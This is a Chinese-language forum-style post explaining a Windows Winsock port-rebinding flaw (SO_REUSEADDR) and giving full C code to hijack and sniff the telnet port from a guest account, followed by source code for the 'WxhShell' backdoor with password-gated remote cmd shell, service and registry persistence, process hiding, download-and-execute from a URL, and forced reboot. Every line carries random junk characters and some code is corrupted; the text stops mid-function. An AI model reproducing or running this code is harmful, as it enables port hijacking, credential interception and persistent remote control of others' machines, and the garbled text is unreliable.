在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
!a?$ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
rLO1Sv wjW>#DE saddr.sin_family = AF_INET;
so}(*E&(a 6j{9\
R saddr.sin_addr.s_addr = htonl(INADDR_ANY);
tr0P;}= {vh}f+2 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
FOiwB^$> ScU?T<u:i 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
W|J8QNL?jm ?{l}35Q.@ 这意味着什么?意味着可以进行如下的攻击:
{h/[!I` :GXiA 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
($EA/|z fH?e9E4l 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
~ *RG|4# ]b!o(5m 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
B}_*0D 0A\OZ^P8 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
yi*)g0M wJM})O%SQ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
TUoEk 1o\P7PLe 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
8px@sXI*` ,> lOmyh 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
. (G9mZFV 8enlF\I8g #include
jY'svD~ #include
!'uL #include
V(Ll]g/T_; #include
i356m9j DWORD WINAPI ClientThread(LPVOID lpParam);
;Z|X` <6g int main()
7YT%.ID {
yq+'O&+
WORD wVersionRequested;
bb}zn'xC DWORD ret;
0zfh:O WSADATA wsaData;
ek!x:G$' BOOL val;
KdIX` SOCKADDR_IN saddr;
v3!oY t:l SOCKADDR_IN scaddr;
'fO[f}oa_. int err;
9}^nozR,I SOCKET s;
y}5V3)P SOCKET sc;
QcJ?1GwA" int caddsize;
=.`(KXT HANDLE mt;
.lnyn|MVb DWORD tid;
U@21N3_@_ wVersionRequested = MAKEWORD( 2, 2 );
SyFw err = WSAStartup( wVersionRequested, &wsaData );
P34UD: if ( err != 0 ) {
7(cRm$)L printf("error!WSAStartup failed!\n");
Z .6M~ return -1;
!$N^Ak5# }
Bfe#, saddr.sin_family = AF_INET;
F N6GV "8}p>gS //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
As0E'n85 D^ZG-WR saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
KvENH=oh saddr.sin_port = htons(23);
J'c]':U if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_'DT)%K {
iJ n< printf("error!socket failed!\n");
jMv qKJ(< return -1;
-|;{/ s5 }
-xs@rV` val = TRUE;
{a aI<u //SO_REUSEADDR选项就是可以实现端口重绑定的
<QbD ; (% if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Kn-cwz5 {
FOJ-?s( printf("error!setsockopt failed!\n");
&?N1-?BjM return -1;
l~P%mVC3m }
T-e'r //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
7\x7ySM //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
ZlQ@k{Es~ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
;f,`T Tbf't^Ot$ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
3!E*h0$} {
" B`k ret=GetLastError();
o
4G%m>$ printf("error!bind failed!\n");
_9 yb5_ return -1;
v?Dc3 }
q?}
/q listen(s,2);
>g7}JI& while(1)
}e$^v*16 {
XY %er caddsize = sizeof(scaddr);
.Z%y16)T //接受连接请求
eC`} oEz sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Y'-@O"pK if(sc!=INVALID_SOCKET)
OsI>gX> {
oz3N
8^M mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
{wsO8LX if(mt==NULL)
,:6gp3 {
Jw13
Wb- printf("Thread Creat Failed!\n");
$ 9bIUJ break;
%oPW`r }
WUOoK$I~K }
A^lJlr:_` CloseHandle(mt);
sG-$d\
1d }
8<V6W F`e closesocket(s);
='r86vq WSACleanup();
Ff6l"A5 return 0;
"&h{+DHS }
co!o+jP DWORD WINAPI ClientThread(LPVOID lpParam)
s<3cvF< {
f</'=k SOCKET ss = (SOCKET)lpParam;
]q!,onJ SOCKET sc;
}%e"A4v unsigned char buf[4096];
%f[0&)1!.v SOCKADDR_IN saddr;
&1nZ%J9 long num;
z+3GzDLy DWORD val;
WcRTv"4& DWORD ret;
h8Wv t's //如果是隐藏端口应用的话,可以在此处加一些判断
^a+W! //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
k;EG28
saddr.sin_family = AF_INET;
r?cDyQE saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
_0HCtx ; saddr.sin_port = htons(23);
R1'tW= if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
kyV!ATL1F {
pO]{Y?X: printf("error!socket failed!\n");
e!V3 /*F return -1;
HC1jN8WDY }
Ot,_=PP val = 100;
/%qw-v9qPV if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
E2.@zY|: {
w3,DsEXu ret = GetLastError();
KD TG9KC return -1;
* AsILK0 }
^YVd^<cE if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'v|R' wi\ {
[[vu#' bc ret = GetLastError();
&Bn>
YFu return -1;
+
t%[$"$ }
p7SX,kpt> if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
}jL_/gvgy {
<HYK9{Q printf("error!socket connect failed!\n");
LYTx8 closesocket(sc);
h>0R!Rl8 closesocket(ss);
r0MUv}p#|L return -1;
=yT3#A~<G }
|:qaF while(1)
Tt^PiaS! {
o 8fB //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
XFj\H(D //如果是嗅探内容的话,可以再此处进行内容分析和记录
+=_^4 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
W^(:\IvV num = recv(ss,buf,4096,0);
SynL%Y9)|, if(num>0)
w_gFN%8 send(sc,buf,num,0);
%P3|#0yg0 else if(num==0)
yT3q~#: break;
9^yf'9S1 num = recv(sc,buf,4096,0);
a"ct"g= if(num>0)
D./!/>@f send(ss,buf,num,0);
rN$U%\.I else if(num==0)
*U<l$gajq break;
$!?tJ@{ }
Kp]\r-5UD> closesocket(ss);
z2.9l?"rfQ closesocket(sc);
%#AM }MWIa return 0 ;
Ai*R%# }
)># Y,/q m=m T`EP "c+j2f'f ==========================================================
jRn5)u DHI%R< 下边附上一个代码,,WXhSHELL
)Z/L hq[:U?!Tt ==========================================================
st7\k]J\ MC'2;, #include "stdafx.h"
N~=,RPjq {pWb*~!k #include <stdio.h>
i>*|k] #include <string.h>
wSV}{9}wr% #include <windows.h>
b-/8R|Mem #include <winsock2.h>
|qOoL*z #include <winsvc.h>
E*B6k!: #include <urlmon.h>
}q$6^y OuZPgN #pragma comment (lib, "Ws2_32.lib")
\]:}lVtxS #pragma comment (lib, "urlmon.lib")
hXAgT!ZD v0aV>-v #define MAX_USER 100 // 最大客户端连接数
H\>0jr` #define BUF_SOCK 200 // sock buffer
"r+ v^ #define KEY_BUFF 255 // 输入 buffer
R5"5Z?' a+-X\qN #define REBOOT 0 // 重启
w4AA4u #define SHUTDOWN 1 // 关机
Bd++G'FZ UnE[FYx #define DEF_PORT 5000 // 监听端口
|>'.( },]G +L;R #define REG_LEN 16 // 注册表键长度
$ [t7&e #define SVC_LEN 80 // NT服务名长度
_N @h ;q"Yz-3 // 从dll定义API
:cE6-Fv typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
)qID<j# typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
e=H,|)P typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
8h?):e typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
~dtS -%G}T}"_ // wxhshell配置信息
t| cL! struct WSCFG {
?'8(']/ int ws_port; // 监听端口
Y3 V9 char ws_passstr[REG_LEN]; // 口令
ZFxa2J~ ; int ws_autoins; // 安装标记, 1=yes 0=no
7{BTtUMAC char ws_regname[REG_LEN]; // 注册表键名
&^7^7:Y=? char ws_svcname[REG_LEN]; // 服务名
Yk^clCB{A( char ws_svcdisp[SVC_LEN]; // 服务显示名
prdc}~J8{ char ws_svcdesc[SVC_LEN]; // 服务描述信息
RV_(T+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
%U
uVD int ws_downexe; // 下载执行标记, 1=yes 0=no
\3hj/ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
h>a/3a$g char ws_filenam[SVC_LEN]; // 下载后保存的文件名
W'xJh0o #Fwf]{J };
*.,G;EC^ .7K<9K +P // default Wxhshell configuration
L,/(^0; struct WSCFG wscfg={DEF_PORT,
[6u8EP0xM "xuhuanlingzhe",
]ZI ?U<0 1,
^o8o "Wxhshell",
e[($rsx "Wxhshell",
w=Yc(Y:h "WxhShell Service",
uE=pq<
"Wrsky Windows CmdShell Service",
`zP{E T_Y "Please Input Your Password: ",
Chs#}=gzi 1,
w9aLTLv- "
http://www.wrsky.com/wxhshell.exe",
B)`@E4i "Wxhshell.exe"
N?3BzI%? };
+EOd9.X\~ RG8Ek"D@ // 消息定义模块
'
X9D( ?O char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
$&ZN%o3 char *msg_ws_prompt="\n\r? for help\n\r#>";
x-@}x@n&[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
hMNC] char *msg_ws_ext="\n\rExit.";
JBK(Nk char *msg_ws_end="\n\rQuit.";
C[JGt9{Y char *msg_ws_boot="\n\rReboot...";
8q/3}AnI char *msg_ws_poff="\n\rShutdown...";
S)\Yc=~h char *msg_ws_down="\n\rSave to ";
L#~z# AdL>?SG% char *msg_ws_err="\n\rErr!";
4Q?3gA1 char *msg_ws_ok="\n\rOK!";
ls ,;ozU V"u .u char ExeFile[MAX_PATH];
DQ`\HY int nUser = 0;
(X?et
& HANDLE handles[MAX_USER];
j&|>Aa${ int OsIsNt;
' 2:HBJ aWk1D. SERVICE_STATUS serviceStatus;
>"|"Gy ( SERVICE_STATUS_HANDLE hServiceStatusHandle;
JW2~
G!@ ]w5j?h"b // 函数声明
17ol %3 M int Install(void);
VSDG_:!K int Uninstall(void);
JBMJR int DownloadFile(char *sURL, SOCKET wsh);
,&ld:v?~ int Boot(int flag);
iebnQf void HideProc(void);
LSlYYyt int GetOsVer(void);
\1f&D!F]b int Wxhshell(SOCKET wsl);
mGC! 7^_D` void TalkWithClient(void *cs);
d+L!s7 int CmdShell(SOCKET sock);
s;Sv@=\ int StartFromService(void);
EHlkt,h* int StartWxhshell(LPSTR lpCmdLine);
!g2~|G LQ{z}Ay VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
P/Zp3O H VOID WINAPI NTServiceHandler( DWORD fdwControl );
g+pj1ycw/ D=_FrEM_IA // 数据结构和表定义
^77X?nDz=h SERVICE_TABLE_ENTRY DispatchTable[] =
%|o2d&i {
ud$*/ )/ {wscfg.ws_svcname, NTServiceMain},
LEJn
1 {NULL, NULL}
@E
!`:/k };
Hq!|( S7kZpD$ // 自我安装
;0JK>c
]# int Install(void)
e"^n^_9 {
(!:+q$#BK char svExeFile[MAX_PATH];
~fz9AhU8 HKEY key;
uD8,E!\ strcpy(svExeFile,ExeFile);
%$ ^eY'-' }pOJ M&I // 如果是win9x系统,修改注册表设为自启动
<c_'(
if(!OsIsNt) {
SUaXm#9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
_@A%t&l RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
c0.? d] RegCloseKey(key);
!McRtxq?~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Scz/2vNi` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Z_WJgH2c RegCloseKey(key);
XM:Y(#?l return 0;
q6AL}9]9 }
"]kq,j^] }
x~n]r[!L }
0~=>:^H'`q else {
"3e1 7dsY 2&KM&NX~ // 如果是NT以上系统,安装为系统服务
2E_d$nsJ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
~`!{5:v if (schSCManager!=0)
~7O.}RP0 {
jImw_Q SC_HANDLE schService = CreateService
N}X7g0>hV (
%WO4uOi:@ schSCManager,
pUm|e5 wscfg.ws_svcname,
]]!&>tOlI wscfg.ws_svcdisp,
1Farix1YDq SERVICE_ALL_ACCESS,
"H3DmsB SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
hw)#TEt SERVICE_AUTO_START,
'E_~> SERVICE_ERROR_NORMAL,
p)YI8nW svExeFile,
_2wH4^Vb NULL,
Cw,;>>Y_b< NULL,
Ek,$XH NULL,
mY0FewwTy NULL,
bX'.hHR NULL
"[Hn G(gA );
x2.YEuSMC if (schService!=0)
z3C@0v=u> {
}e8u p*#me CloseServiceHandle(schService);
SE0&CV4 CloseServiceHandle(schSCManager);
]h4r@L3 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
V4tObZP3Ff strcat(svExeFile,wscfg.ws_svcname);
AB[# if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
K/IG6s;Xj RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
zPW_ RegCloseKey(key);
QvvH/u return 0;
p8|u 0/;k }
g;._Q }
6sz:rv} CloseServiceHandle(schSCManager);
c]>LL(R-7) }
Qm5Sf=E7Q }
zTb,h /A"UV\H`f return 1;
bd[%=5 }
DQyy">]Mh mm9xO% // 自我卸载
Uk<2XGj int Uninstall(void)
fiZq C?( {
y*7<tj.`b0 HKEY key;
a@s@E ^7,`6g if(!OsIsNt) {
[z> Ya-uz7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
jQ&82X%m RegDeleteValue(key,wscfg.ws_regname);
{L.=)zt> RegCloseKey(key);
Ers8J V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
~%Xs"R1c, RegDeleteValue(key,wscfg.ws_regname);
D!5{CQl RegCloseKey(key);
7>!Rg~M return 0;
l2
mO{'|C }
3.E3}Jz` }
2Wp)CI<\D }
g#s hd~e else {
Jx3fS2 ! w2BD^V- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
>Q% FW if (schSCManager!=0)
^Y?Y5`!Q {
Ew>lk9La( SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
$4u8"n e) if (schService!=0)
}&Kl)2:O {
K3-Cuku if(DeleteService(schService)!=0) {
8XhGo2zf CloseServiceHandle(schService);
|Wz`#<t CloseServiceHandle(schSCManager);
CaqqH`/E4 return 0;
L{uQ:;w1 }
8}>s{u;W CloseServiceHandle(schService);
94b*
!Z }
{~{</ g/ CloseServiceHandle(schSCManager);
6hAMk<kx?i }
&T2qi' }
6:3F,!J! ;'P<#hM[$ return 1;
a`_w9r+v }
d 8%sGH 'RzzLk|$ // 从指定url下载文件
}Sv\$h int DownloadFile(char *sURL, SOCKET wsh)
HsRQiai* {
*wu|(t_ A HRESULT hr;
C[s='v~} char seps[]= "/";
C*&FApG char *token;
S?e*<s9k char *file;
k\A[p\ char myURL[MAX_PATH];
M$MFUGS' char myFILE[MAX_PATH];
Kl]LnN%A{ ,;~@t:!c strcpy(myURL,sURL);
w i=&W token=strtok(myURL,seps);
1qd(3A41 while(token!=NULL)
xY$@^(Q\ {
Zt"3g6S file=token;
YT\.${N token=strtok(NULL,seps);
r"W,G/;h }
aa,^+^J LypBS]ru GetCurrentDirectory(MAX_PATH,myFILE);
6'6,ySo] strcat(myFILE, "\\");
t# <(Q strcat(myFILE, file);
.qg 2zE$0 send(wsh,myFILE,strlen(myFILE),0);
z%~rQa./$ send(wsh,"...",3,0);
7xoq:oP-}N hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
K}TSwY if(hr==S_OK)
F |^tRL- return 0;
#S') i1; else
U2kl-E: return 1;
thrv_^A XG;Dj<Dm }
@@} ]qT* f&88N<) // 系统电源模块
<)VNEy' int Boot(int flag)
vCsJnKqK {
6<m9guv HANDLE hToken;
08F~6e6a8 TOKEN_PRIVILEGES tkp;
I6RF;m:Jw r
l>e~i if(OsIsNt) {
RE.t<VasP OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
C[Nh>V7= LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
\3 M%vJ tkp.PrivilegeCount = 1;
/{FSG! tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
~xU\%@I\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
m`6=6(_p if(flag==REBOOT) {
3"p'WZ> if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
]=?.LMjnH return 0;
^Q5advxuq }
8 GW0w else {
#55_hY# if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
5 ]l8l+ return 0;
TpAso[r }
~Zo;LSI }
@JU
Xp
else {
prO ~g if(flag==REBOOT) {
IUSV\X9 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
j+NsNIJq return 0;
-mqL[ h, }
W~d^ *LZt else {
3fdqFJ O if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
-AZ\u\xCB return 0;
`*w!S8} m; }
*r].EBJ\ }
:?f^D,w_B )2: ,E return 1;
4v;KtD;M }
]Pf!wv iKA}??5e // win9x进程隐藏模块
Z@6xu;O void HideProc(void)
E<r<ObeRv` {
UthM?g^
KU 98"b5 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
(65|QA if ( hKernel != NULL )
JlhI3`X;/ {
uh&Qdy!I pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
^C70b)68 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
mae@L FreeLibrary(hKernel);
\.Z
/ }
&*9' 0 u
-A_l<K return;
K-4o_:F }
J>Bc-%.Q H-jxH,mJmW // 获取操作系统版本
(Ky$(Ubb#6 int GetOsVer(void)
.'zcD^ {
`[F[0fY- OSVERSIONINFO winfo;
*Z2#U?_ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
+XpQ9Cd GetVersionEx(&winfo);
!MEA@^$# if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
cg_j.=M- return 1;
m
e2$ R>@ else
CMC9%uq return 0;
Dgm"1+ }
(gjCm0#_% h1Logm+m // 客户端句柄模块
uy8mhB+] int Wxhshell(SOCKET wsl)
!m6=Us {
s(cC; SOCKET wsh;
k@^T<Ci struct sockaddr_in client;
Oz-@e%8L DWORD myID;
j71RlS73 gIY]hC. while(nUser<MAX_USER)
g^[BnP)I
{
3.w &e0Es int nSize=sizeof(client);
67]!xy wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
a}V<CBi if(wsh==INVALID_SOCKET) return 1;
x/uC)xm O]80";Uv handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
$aDkZj if(handles[nUser]==0)
y4Lh:; closesocket(wsh);
tG*HUN?* else
bj7r"_ nUser++;
1R"Z+tNB }
g96]>]A<{ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
F&$~]R=& /TY=ig1z return 0;
x bD]EC }
g]jCR*] g<^-[w4/ // 关闭 socket
G!E1N(%o void CloseIt(SOCKET wsh)
,$bK)|pGV {
u+qj_Ej closesocket(wsh);
A9o"L.o) nUser--;
%OJq( } ExitThread(0);
MQq!<?/ }
2 sK\.yS <8BNqbX // 客户端请求句柄
%:yVjb,Yf void TalkWithClient(void *cs)
CtE <9? {
J7p?9 Vw+RRi( SOCKET wsh=(SOCKET)cs;
+k\cmDcb char pwd[SVC_LEN];
}TRVCF1 char cmd[KEY_BUFF];
+l;A L5h char chr[1];
b] ~ int i,j;
?<U">8cP /-&2>4I while (nUser < MAX_USER) {
@waY+sqt= S=qx,<J
39 if(wscfg.ws_passstr) {
d'[] if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
iyP0;$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Xk }\-&C7 //ZeroMemory(pwd,KEY_BUFF);
Y@limkN: i=0;
lK3{~\J- while(i<SVC_LEN) {
@6%o0p9zz M?QX'fia // 设置超时
gXe`G(w fd_set FdRead;
l(d3N4iz struct timeval TimeOut;
#A=ER[[ FD_ZERO(&FdRead);
hE;BT>_dn FD_SET(wsh,&FdRead);
zR5KC!xc TimeOut.tv_sec=8;
3 uJ?; TimeOut.tv_usec=0;
6"/4@? int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
4ZtsLMwLD if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
I8VCR8q (w-@b70E if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
[ps5 pwd
=chr[0]; PG@6*E
if(chr[0]==0xd || chr[0]==0xa) { 5G l:jRu
pwd=0; V;uFYt;E
break; ~2[mZias
} :(#5%6F
i++; B}^l'p_u
} Z4369
2X6L'!=
// 如果是非法用户,关闭 socket 'M,O(utGv
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F&a)mpFv3c
} /ommM
9](RZ6A+o
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d$:LUxM#
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3o`c`;H%p
4P^CqD&i
while(1) { v0KJKrliGO
k1~? }+<e
ZeroMemory(cmd,KEY_BUFF); ^CW{`eBwk
F[*/D/y(
// 自动支持客户端 telnet标准 S#nW )=
j=0; B!((N{4H+
while(j<KEY_BUFF) { "mc ]^O
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o8fY!C)
cmd[j]=chr[0]; }A&I@2d
if(chr[0]==0xa || chr[0]==0xd) { %PC8}++
cmd[j]=0; nIGElt]
break; G{gc]7\=Cd
} _FkIg>s
j++; f"t+r
/d
} i0rh{Ko
^y[- e9O|
// 下载文件 i9D<jkc
if(strstr(cmd,"http://")) {
,1>n8f77]
send(wsh,msg_ws_down,strlen(msg_ws_down),0); fPq)Lx1'
if(DownloadFile(cmd,wsh)) m^>v~Q~~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ei(S&u<
else Suy +XHV
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RKy!=#;17
} y#i` i
else { SLda>I(p7&
F$jfPy-f
switch(cmd[0]) { AA0\C_W0p
z@v2t>@3k
// 帮助 X<&Y5\%F
case '?': { 3,1HD_
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r0q?e`nsA
break; OM81$Xo=
} iH8V] %
// 安装 RaOLy \
case 'i': { ~L:H]_8F l
if(Install()) #'BPW<Ob
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }J $\<ZT
else BT"n;L?[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wY3|5kbDj
break; eu'S~c-l
} h}Lrp r2r
// 卸载 GK1oS
case 'r': { 395`Wkv
if(Uninstall()) 1v 4M*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f/t`B^}@
else )j. .)o
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pd-I^Q3-
break; c^stfFE&
} ydMSL25<+
// 显示 wxhshell 所在路径 U04&z 91"
case 'p': { @a,}k<@E
char svExeFile[MAX_PATH]; 1NkJs&
strcpy(svExeFile,"\n\r"); o8~<t]Ejw
strcat(svExeFile,ExeFile); $E}N`B7
send(wsh,svExeFile,strlen(svExeFile),0); \LM.>vJ
break; p$mt&,p
} KPA.5,ai
// 重启 %e(DPX
case 'b': { YT6dI"48
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZqXp f
if(Boot(REBOOT)) (XEJd4r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]I\9S{?
else { Uh+6fE]p
closesocket(wsh); ]q/USVj{
ExitThread(0); k:URP`w[X=
} (*9-Fa
break; OoQLR
} ~ 1~|/WG
// 关机 %DM0Z8P$B-
case 'd': { 8`_tnARIX
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9I(00t_
if(Boot(SHUTDOWN)) Y]DC; ,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A2SDEVU
else { L~C:1VG5
closesocket(wsh); -_= m j
ExitThread(0); <u/(7H
} Cv[1HO<
break; nPk&/H%5hn
} +'wO:E1( w
// 获取shell `><E J'h
case 's': { &0]5zQ
CmdShell(wsh); vRH2[{KQ9
closesocket(wsh); qB3E
ExitThread(0); *MQ`&;Qa,
break; `1uGU[{x
} k"6&&
// 退出 R?M>uaxn
case 'x': { L_o/fTz4
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =MT'e,T
CloseIt(wsh); z0Z1J8Qq6.
break; @2;cv?i)
}
-d^'-s
// 离开 N_/+B]r }T
case 'q': { {nw.bKq7
send(wsh,msg_ws_end,strlen(msg_ws_end),0); =_CH$F!U
closesocket(wsh); qg:EN~E#
WSACleanup(); wo;OkJKF
exit(1); +.Xi7x+#O
break; d.HcO^
} ';v1AX}5q
} }}Z2@}
} 6";
ITU^v
uW2 q\
// 提示信息 k5Su&e4]]
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s6'=4gM
} d{"@<0i?
} zO@>)@~
Jt0U`_
return; o#=C[d5BV
} g>l+oH[Tv|
a ,"
// shell模块句柄 G #M0
C>n
int CmdShell(SOCKET sock) `3`.usw
{ 8H|ac[hXK2
STARTUPINFO si; `YqXF=-
ZeroMemory(&si,sizeof(si)); `jVRabZ0
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (4#iLs
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R:j
mn
PROCESS_INFORMATION ProcessInfo; x2'pl
(^
char cmdline[]="cmd"; 4-I7"pW5
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ".2d{B
return 0; *f_A:`:
}
7iyx_gyo
VJ?>o
// 自身启动模式 XUnw*3tPJ
int StartFromService(void) T#wG]DH;
{ Cc;8+Z=a?G
typedef struct vPc*x5w-
{ $HtGB]
DWORD ExitStatus; 9Q!Z9n"8~)
DWORD PebBaseAddress; Ay PtbrO
DWORD AffinityMask; @DF7j|]tV
DWORD BasePriority; vn!3Z! dm(
ULONG UniqueProcessId; jw`05rw:
